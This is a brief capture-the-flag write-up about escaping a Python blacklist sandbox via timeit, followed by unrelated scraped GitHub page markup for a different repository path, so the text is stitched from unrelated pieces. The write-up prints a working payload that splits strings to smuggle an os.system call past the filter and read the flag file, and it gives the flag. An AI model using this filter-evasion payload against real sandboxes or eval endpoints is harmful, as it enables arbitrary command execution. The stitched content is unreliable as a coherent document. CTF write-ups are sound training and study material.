After some trial and error I've found out that a lot of functions were blacklisted - and it occured to me that the blacklist was done on a string basis - i.e. I could not use string "os" as it is.Nearly at that moment I've had a dim recollection of seeing somewhere a python code execution with timeit.timeit(). Considering task name, it could not be just a coincedence.And voila, the payload that executed cleanly:```timeit("__im"+"po"+"rt__('o"+"s').s"+"ys"+"tem('ca"+"t "+"fla"+"g.txt')",number=1)```
The flag was:tjctf{iTs_T1m3_f0r_a_flaggg} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-WriteUp/Castorsctf/pwn/abc at master · gr4n173/CTF-WriteUp · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9F0E:7C06:149986B:151F22D:64122010" data-pjax-transient="true"/><meta name="html-safe-nonce" content="380005da8480b0b10e646c2d0766fafe9eff65bd6deefeb2124b5ec640dfa24e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5RjBFOjdDMDY6MTQ5OTg2QjoxNTFGMjJEOjY0MTIyMDEwIiwidmlzaXRvcl9pZCI6IjE4MDg5NzA5NTc1MjE1NTk1NjgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="80be16d00871e77d94dcc3589e55896c752a51767ebd412a61ad54cfc5fc6f73" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268424549" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-WriteUp/Castorsctf/pwn/abc at master · gr4n173/CTF-WriteUp" /><meta name="twitter:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta property="og:image:alt" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-WriteUp/Castorsctf/pwn/abc at master · gr4n173/CTF-WriteUp" /><meta property="og:url" content="https://github.com/gr4n173/CTF-WriteUp" /><meta property="og:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/gr4n173/CTF-WriteUp git https://github.com/gr4n173/CTF-WriteUp.git">
<meta name="octolytics-dimension-user_id" content="34855478" /><meta name="octolytics-dimension-user_login" content="gr4n173" /><meta name="octolytics-dimension-repository_id" content="268424549" /><meta name="octolytics-dimension-repository_nwo" content="gr4n173/CTF-WriteUp" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268424549" /><meta name="octolytics-dimension-repository_network_root_nwo" content="gr4n173/CTF-WriteUp" />
<link rel="canonical" href="https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/abc" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
